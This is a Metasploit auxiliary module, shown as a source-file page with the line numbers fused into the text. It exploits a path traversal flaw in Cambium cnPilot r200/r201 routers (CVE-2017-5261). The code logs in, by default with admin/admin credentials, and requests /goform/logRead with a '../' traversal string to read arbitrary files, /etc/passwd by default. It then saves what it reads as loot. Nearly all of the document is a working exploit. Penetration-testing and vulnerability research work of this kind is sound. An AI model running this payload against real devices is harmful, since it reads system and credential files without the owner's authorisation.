Path: blob/master/modules/auxiliary/admin/http/cnpilot_r_fpt.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::CNPILOT78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Cambium cnPilot r200/r201 File Path Traversal',13'Description' => %q{14This module exploits a File Path Traversal vulnerability in Cambium15cnPilot r200/r201 to read arbitrary files off the file system. Affected16versions - 4.3.3-R4 and prior.17},18'Author' => [19'Karn Ganeshen <KarnGaneshen[at]gmail.com>'20],21'References' => [22['CVE', '2017-5261'],23['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']24],25'License' => MSF_LICENSE,26'Notes' => {27'Stability' => [CRASH_SAFE],28'SideEffects' => [IOC_IN_LOGS],29'Reliability' => []30}31)32)3334register_options(35[36OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),37Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.38OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),39OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin']),40OptString.new('FILENAME', [true, 'Filename to read', '/etc/passwd'])41]42)4344deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')45end4647def run_host(_ip)48unless is_app_cnpilot?49return50end51end5253#54# Read file55#5657def read_file(the_cookie)58print_status("#{rhost}:#{rport} - Accessing the file...")59file = datastore['FILENAME']60fileuri = "/goform/logRead?Readfile=../../../../../../..#{file}"61final_url = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + fileuri.to_s6263res = send_request_cgi(64{65'uri' => fileuri,66'method' => 'GET',67'cookie' => the_cookie,68'headers' => {69'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'70}71}72)7374if res && res.code == 20075results = res.body7677if results.empty?78print_status('File not found.')79else80print_good(results.to_s)8182# w00t we got l00t83loot_name = 'fpt-log'84loot_type = 'text/plain'85loot_desc = 'Cambium cnPilot File Path Traversal Results'86data = results.to_s87p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)88print_good("File saved in: #{p}")89end90else91print_error("#{rhost}:#{rport} - Could not read file. You can manually check by accessing #{final_url}.")92return93end94end9596#97# Login & initiate file read98#99100def run_login101cookie, _version = do_login(datastore['USERNAME'], datastore['PASSWORD'])102if cookie == 'skip'103return104else105read_file(cookie)106end107end108end109110111